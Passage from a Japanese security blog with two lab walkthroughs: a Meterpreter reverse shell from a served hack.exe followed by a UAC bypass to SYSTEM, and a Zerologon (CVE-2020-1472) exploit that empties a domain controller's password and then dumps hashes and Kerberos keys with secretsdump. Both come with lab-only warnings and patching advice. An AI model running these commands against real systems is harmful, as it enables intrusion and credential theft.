└─$ sudo mkdir /var/www/html/file

┌──(user㉿kali-linux)-[~/Desktop]
└─$ sudo cp hack.exe /var/www/html/file/

┌──(user㉿kali-linux)-[~/Desktop]
└─$ sudo systemctl restart nginx

f:id:Armoris:20201211175017p:plain

Payloadが作成できたらWindowsからアクセスして.exeファイルを保存します。 f:id:Armoris:20201211175843p:plain

検証

準備が完了したらPayloadを実行してHTTP Reverse Shellを作りUAC Bypassを試します。

まずはKali Linuxmsfconsoleを起動します。起動が確認できたらまずはHTTP Reverse Shellを待ち受けるための設定を行います。

┌──(user㉿kali-linux)-[~/Desktop]
└─$ msfconsole

       =[ metasploit v5.0.101-dev                         ]
+ -- --=[ 2049 exploits - 1108 auxiliary - 344 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Use the edit command to open the currently active module in your editor

msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 10.0.1.30
lhost => 10.0.1.30
msf5 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(multi/handler) >
[*] Started reverse TCP handler on 10.0.1.30:4444

次にWindowsに保存したhack.exeを実行します。
実行時に以下のようなダイアログが出る場合はMore infoをクリックし、Run anywayをクリックします。 f:id:Armoris:20201211180945p:plain
f:id:Armoris:20201211180955p:plain

hack.exe実行後のWindowsに変化はありませんが、Kali Linuxでは以下のようになります。 f:id:Armoris:20201211181119p:plain

HTTP Reverse Shellを作成し、getuidコマンドを実行してMSEDGEWIN10\IEUserになっていることを確認します。

msf5 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: MSEDGEWIN10\IEUser

次にセッションをバックグラウンドで維持しながらUAC Bypassを行います。
getsystemコマンドを実行後getuidコマンドの結果がNT AUTHORITY\SYSTEMと表示されシステム権限になっていることが確認できます。

meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_silentcleanup
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

msf5 exploit(windows/local/bypassuac_silentcleanup) > show options

Module options (exploit/windows/local/bypassuac_silentcleanup):

   Name       Current Setting                                          Required  Description
   ----       ---------------                                          --------  -----------
   PSH_PATH   %WINDIR%\System32\WindowsPowershell\v1.0\powershell.exe  yes       The path to the Powershell binary.
   SESSION                                                             yes       The session to run this module on.
   SLEEPTIME  0                                                        no        The time (ms) to sleep before running SilentCleanup


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.0.1.30        yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Microsoft Windows


msf5 exploit(windows/local/bypassuac_silentcleanup) > set session 1
session => 1
msf5 exploit(windows/local/bypassuac_silentcleanup) > exploit

[*] Started reverse TCP handler on 10.0.1.30:4444
[+] Part of Administrators group! Continuing...
[*] Sending stage (176195 bytes) to 10.0.1.31
[*] Meterpreter session 2 opened (10.0.1.30:4444 -> 10.0.1.31:50119) at 2020-12-11 18:16:57 +0900

meterpreter > pwd
C:\Windows\system32
meterpreter > getuid
Server username: MSEDGEWIN10\IEUser
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

今回使用しているPayloadはexploit/windows/local/bypassuac_silentcleanupですが、成功しない場合はいくつか他のものを試してみてください。

以上でUAC Bypassの検証は終了です。

最後に

今回の検証はHTTP Reverse Shellのセッション確立後によく行われることの一つとしてUAC Bypassを検証してみました。
実際に検証してみてWindowsの画面上では特に変化がなくても不審な.exeファイルを実行するだけで、簡単に管理者権限までが奪われてしまうというのがわかったのではないかと思います。

今回の検証をインターネット上からダウンロードしたファイルを実行する際に頭の片隅に置いておいてもらえればいいかなと思います。

検証は自身で管理するマシン以外には行わないでください。
また、検証は自己責任でお願いします。

Armoris日記 CVE-2020-1472編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

今週も検証の前にちょこっと宣伝

Armoris M氏『Armorisトレーニング、12月は標的型攻撃対応講座目白押しです!』
トレーニング一覧
M氏が気になる方はLet's OSINT☆

Zerologonを検証してみる

自身が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。

今回のArmoris日記はZerologonの検証用環境を作成し、ツールを用いて攻撃が成功するかを検証します。
脆弱性についての詳しい説明や原因については多くの方が解説しているので、ここでは簡単に概要を説明します。

ZerologonとはActive Directoryでユーザーとシステムの認証の為に利用されているNetlogonプロトコルの実装における権限昇格の脆弱性になります。本脆弱性を悪用することでドメインコントローラーに接続している端末を全て制御することが可能になります。
実際にPoCも公開されており、脆弱性を悪用した攻撃が確認されています。

脆弱性情報:JVN
影響を受けるシステム:

検証環境

検証に使用した環境と各種バージョンは以下のとおりです。

Name Version
Windows Server 2019 1809
Kali Linux 2020.2

VBoxを使用してWindows Serverを準備する

今回はWindows Server 2019の評価版ISOとVirtual Boxを使用してActive Directory環境を構築します。

リンク先のサイトにアクセスして以下の手順に従ってWindows Server 2019のISOをダウンロードします。
以下の画面でISOを選択します。 f:id:Armoris:20201204163628p:plain

次へを押して必要事項を入力します。 f:id:Armoris:20201204163702p:plain

入力が完了したら次へを押してダウンロードします。 f:id:Armoris:20201204163736p:plain

ISOファイルのダウンロードが完了したらVBoxを使用して環境を準備していきます。
VBoxの新規作成から以下のように設定してISOファイルを選択して起動します。
私はメモリ2GBとディスク20GBのデフォルト割り当てを使用しました。 f:id:Armoris:20201204164221p:plain

今回は英語環境を使用するので以下の設定でインストールをします。 f:id:Armoris:20201204164346p:plain

インストールするものはDesktop Experiensを選択します。 f:id:Armoris:20201204164441p:plain

インストールが完了すると画像のようにAdministraterのパスワード入力を求められます。
ここでは記号などが入っているものでないと設定ができない為、Passw0rd!などを使用して設定します。 f:id:Armoris:20201204164557p:plain

設定が完了すると自動的に再起動します。再起動後に以下のような画面になればインストールは完了です。 f:id:Armoris:20201204164733p:plain

表示されている通りにCtrl+Alt+Deleteを押して先ほど設定したパスワードを入力しログインします。
ログインが完了してしばらくすると自動的にServer Managerが起動します。 f:id:Armoris:20201204164922p:plain

以上でWindows Serverのインストールが完了しました。

Active Directoryを設定する

次にActive Directoryの設定を行います。

まずはServer ManagerからAdd roles and featuresを選択します。 f:id:Armoris:20201204165845p:plain

Add Roles and Features Wizardが表示されたらNextを押していき、Select server rolesの項目でActive Directory Domain Servicesにチェックを入れます。
すると以下のような画面になるのでAdd Featuresを押します。 f:id:Armoris:20201204170221p:plain

そのままNextを押していき、installを押してインストールが完了するのを待ちます。 f:id:Armoris:20201204170418p:plain

インストールが完了すると以下のように青文字でPromote this server to a domain controllerと表示されるのでクリックします。 f:id:Armoris:20201204170535p:plain

以下のような画面になったらRoot domain name:を入力してNextを押します。
今回はlocalhost.testと入力しています。 f:id:Armoris:20201204171017p:plain

次にパスワードの設定を行います。今回は検証のためPassw0rd!で設定しています。 f:id:Armoris:20201204171159p:plain

その他はデフォルト設定のままでインストールの事前チェックで問題がなければインストールを実行します。
インストールが完了すると自動的に再起動が行われます。 f:id:Armoris:20201204171327p:plain

再起動が完了したらActive Directoryのインストールは完了です。

Active Directoryの設定をする

Active Directoryのインストールが完了したらユーザーとグループを作成します。

Server ManagerToolsからActive Directory Users and Computersを選択します。 f:id:Armoris:20201204171959p:plain

ウィンドウが開いたら先ほど設定したlocalhost.testを展開します。
Usersを右クリックしてNewからUserを選択します。f:id:Armoris:20201204172425p:plain

各種必要事項を入力していきます。
検証用に以下の情報を入力しています。

First name: test
Last name: user

User logon name: test-user

f:id:Armoris:20201204172755p:plain

必要事項の入力が完了したらパスワードを設定します。
ここでも検証用にPassw0rd!を設定しています。
パスワードを入力したらNextを押して進みユーザーを作成します。 f:id:Armoris:20201204173108p:plain

ユーザー作成が完了したらグループを作成していきます。
まずは先程と同じようにUsersを右クリックしてNewからGroupを選択します。 f:id:Armoris:20201204173448p:plain

Group name:TestGroupと入力してOKを押してグループを作成します。 f:id:Armoris:20201204173620p:plain

グループの作成が完了したらユーザーをグループに追加します。

先程作成したTestGroupをダブルクリックし、Memversの項目からAddを押します。
ウィンドウが開いたらtest-userと入力し、Check Namesを押してOKを押します。
これでグループに作成したユーザーが追加されます。 f:id:Armoris:20201204173854p:plain

これでActive Directoryの設定が完了です。

ツールを使って検証する

Windows Serverの環境ができたらKali Linuxからツールを使用してZerologonの検証を行います。
ツール使用時にWindows ServerのDevice nameを使用する為事前にメモしておきます。
SettingsSystem項目にあるAboutから確認できます。 f:id:Armoris:20201204175859p:plain

まずは以下のツールの準備をします。

┌──(user㉿kali-linux)-[~/Desktop]
└─$ git clone https://github.com/SecureAuthCorp/impacket.git
Cloning into 'impacket'...
remote: Enumerating objects: 64, done.
remote: Counting objects: 100% (64/64), done.
remote: Compressing objects: 100% (57/57), done.
remote: Total 18794 (delta 30), reused 20 (delta 7), pack-reused 18730
Receiving objects: 100% (18794/18794), 6.28 MiB | 4.56 MiB/s, done.
Resolving deltas: 100% (14300/14300), done.

┌──(user㉿kali-linux)-[~/Desktop]
└─$ cd impacket

┌──(user㉿kali-linux)-[~/Desktop/impacket]
└─$ pip3 install .

次に権限昇格用のツールを準備します。

┌──(user㉿kali-linux)-[~/Desktop]
└─$ cd impacket/examples

┌──(user㉿kali-linux)-[~/Desktop/impacket/examples]
└─$ git clone https://github.com/VoidSec/CVE-2020-1472.git
Cloning into 'CVE-2020-1472'...
remote: Enumerating objects: 75, done.
remote: Counting objects: 100% (75/75), done.
remote: Compressing objects: 100% (69/69), done.
remote: Total 75 (delta 41), reused 18 (delta 6), pack-reused 0
Unpacking objects: 100% (75/75), 3.75 MiB | 2.86 MiB/s, done.

┌──(user㉿kali-linux)-[~/Desktop/impacket/examples]
└─$ cd CVE-2020-1472

┌──(user㉿kali-linux)-[~/Desktop/impacket/examples/CVE-2020-1472]
└─$ pip3 install -r requirements.txt

まずはActive Directoryにログインして情報の取得を試みるツールを権限昇格前に試します。

┌──(user㉿kali-linux)-[~/Desktop/impacket/examples]
└─$ python3 secretsdump.py -no-pass -just-dc localhost.test/WIN-GO7TKNGMALG\$@10.0.1.38
Impacket v0.9.23.dev1+20201203.125520.aa0c78ad - Copyright 2020 SecureAuth Corporation

[-] RemoteOperations failed: SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)
[*] Cleaning up...

次にExploit Codeを実行します。

┌──(user㉿kali-linux)-[~/Desktop]
└─$ cd impacket/examples/CVE-2020-1472

┌──(user㉿kali-linux)-[~/Desktop/impacket/examples/CVE-2020-1472]
└─$ python3 cve-2020-1472-exploit.py -n WIN-GO7TKNGMALG -t 10.0.1.38
 _____                   __
/__  /  ___  _________  / /___  ____ _____  ____
  / /  / _ \/ ___/ __ \/ / __ \/ __ `/ __ \/ __ \
 / /__/  __/ /  / /_/ / / /_/ / /_/ / /_/ / / / /
/____/\___/_/   \____/_/\____/\__, /\____/_/ /_/
                             /____/

Checker & Exploit by VoidSec

Performing authentication attempts...
.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
[+] Success: Target is vulnerable!
[-] Do you want to continue and exploit the Zerologon vulnerability? [N]/y
y
[+] Success: Zerologon Exploit completed! DC's account password has been set to an empty string.

Successと表示されていればActive Directoryの権限昇格が成功しています。
再度情報の取得を行ってみます。

┌──(user㉿kali-linux)-[~/Desktop]
└─$ cd impacket/examples

┌──(user㉿kali-linux)-[~/Desktop/impacket/examples]
└─$ python3 secretsdump.py -no-pass -just-dc localhost.test/WIN-GO7TKNGMALG\$@10.0.1.38
Impacket v0.9.23.dev1+20201203.125520.aa0c78ad - Copyright 2020 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:902af79092df128cba8e16f0a1e6d206:::
localhost.test\test-user:1103:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
WIN-GO7TKNGMALG$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:c3d2d56da0412c305dc24133124f94ea8d718fcd8033556644753772d289db52
Administrator:aes128-cts-hmac-sha1-96:f5325fb0fe00356deccd66c6adeeae82
Administrator:des-cbc-md5:e97a6d8a49bf133e
krbtgt:aes256-cts-hmac-sha1-96:fd95e1d9581d9f4b2d7f58a961c50b2b802c20e7578a2c253b9042b1158dc0ae
krbtgt:aes128-cts-hmac-sha1-96:11fb466f7a6d163c341cea5403a888a7
krbtgt:des-cbc-md5:d0864662d00dd5ec
localhost.test\test-user:aes256-cts-hmac-sha1-96:7d4d27b69a3fc671edd7a541e212c8380372479a96dba6a99e89dc41240fded2
localhost.test\test-user:aes128-cts-hmac-sha1-96:8c47b02207a82868e541497b6c71da21
localhost.test\test-user:des-cbc-md5:5e6d62b9f2f4e6cd
WIN-GO7TKNGMALG$:aes256-cts-hmac-sha1-96:387891ec7aa06b29d18be0b914a45cf7fc1d9fd3881fb51b20356370e16e0535
WIN-GO7TKNGMALG$:aes128-cts-hmac-sha1-96:485e8beb173dd30b78b62db516fdc330
WIN-GO7TKNGMALG$:des-cbc-md5:ec6b8a37dff81acb
[*] Cleaning up...

今度は先程作成したtest-userに関する情報を含め、実際にActive Directoryから不正に情報を取得することに成功しています。

今回の検証は以上になります。

最後に

今回検証したZerologonと言われる脆弱性は実際にツールがいくつも公開されており、脆弱性を悪用した攻撃が確認されています。また、今回の脆弱性による攻撃は正常な認証プロセスの中で行われる為、イベントログに記録されるものだけでは判別が難しくなります。
すでに修正パッチが配布されていますが、まだ適用されていない場合は早急にパッチを適用するようにしてください。

自身が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。